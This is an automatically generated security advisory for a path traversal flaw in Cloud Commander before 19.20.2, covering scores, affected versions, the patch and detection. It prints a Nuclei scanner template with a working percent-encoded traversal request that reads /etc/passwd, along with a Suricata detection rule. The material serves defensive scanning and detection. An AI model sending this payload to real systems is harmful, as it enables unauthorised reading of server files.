CVE-2026-82460: Cloud Commander before 19.20.2 Directory Traversal via REST and Markdown
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Cloud Commander before 19.20.2 contains a directory traversal vulnerability in REST file-operation and markdown endpoints that fails to properly validate path normalization. Attackers can use path traversal sequences to read, write, move, or copy files outside the configured root directory.
Description quoted from the CVE record (assigned by VulnCheck, published 2026-08-29).
Weakness: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Also known as: EUVD-2026-68117, GHSA-cjr4-fpcr-5mvq
VEDAS cluster: VEDAS:DELIGHTDAHLIA
Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (5)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-82460.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-82460.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-82460.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-82460.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-82460.rules
Vulnerability databases and vendor advisories (3)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-68117
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-cjr4-fpcr-5mvq
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-82460
2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.009
low predicted chance of attack - VEDAS
- 0.988
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| coderaiser cloudcmd | before 19.20.2 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 19.20.2.
Vendor guidance:
- https://github.com/coderaiser/cloudcmd/commit/b9bdc9ed528350eeb2f9ef974c18998096fae919 (patch)
- Cloud Commander v19.20.2 Release Notes (release-notes)
How to detect it
Nuclei template (active check)
Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown
Cloud Commander (cloudcmd) before 19.20.2 contains a directory traversal vulnerability in its REST file-operation and markdown endpoints that fail to properly validate path normalization. An unauthenticated attacker can send percent-encoded traversal sequences to the GET /api/v1/markdown endpoint with the relative query flag to read files outside the configured root directory, such as /etc/passwd, returned verbatim in the response body. Fixed in version 19.20.2.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /api/v1/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?re...); it decides using regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-82460.yamlShow the template (40 lines)
id: CVE-2026-82460
info:
name: "Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown"
author: vedas-arpsyndicate
severity: critical
description: |
Cloud Commander (cloudcmd) before 19.20.2 contains a directory traversal vulnerability in its REST
file-operation and markdown endpoints that fail to properly validate path normalization. An
unauthenticated attacker can send percent-encoded traversal sequences to the GET /api/v1/markdown
endpoint with the relative query flag to read files outside the configured root directory, such as
/etc/passwd, returned verbatim in the response body. Fixed in version 19.20.2.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-82460&match=exact
- https://subdomain.center/?engine=ammonites&keyword=cloudcmd&match=exact
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.3
cve-id: CVE-2026-82460
cwe-id: CWE-22
metadata:
verified: false
max-request: 1
tags: cve,cve2026,cloudcmd,cloud-commander,lfi,traversal
http:
- raw:
- |
GET /api/v1/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?relative HTTP/1.1
Host: {{Hostname}}
unsafe: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-82460 Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown Attempt. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-82460 Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown Attempt"; flow:established,to_server; http.method; content:"GET"; http.uri.raw; content:"/api/v1/markdown/"; nocase; fast_pattern; content:"..%2f"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-82460; reference:url,https://www.exploit.observer/?keyword=CVE-2026-82460&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cloudcmd&match=exact; sid:1053602; rev:1;)
CVE-2026-82460.rules on GitHub
References
Vendor advisories and patches
- https://github.com/coderaiser/cloudcmd/commit/b9bdc9ed528350eeb2f9ef974c18998096fae919 (patch)
- Cloud Commander v19.20.2 Release Notes (release-notes)
Exploits and technical analysis
- GitHub Issue #474 (issue-tracking)
- https://github.com/coderaiser/cloudcmd/blob/v19.20.1/server/root.js (technical-description)
- VulnCheck Advisory: Cloud Commander before 19.20.2 Directory Traversal via REST and Markdown (third-party-advisory)
Other references
- https://github.com/coderaiser/cloudcmd (product)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.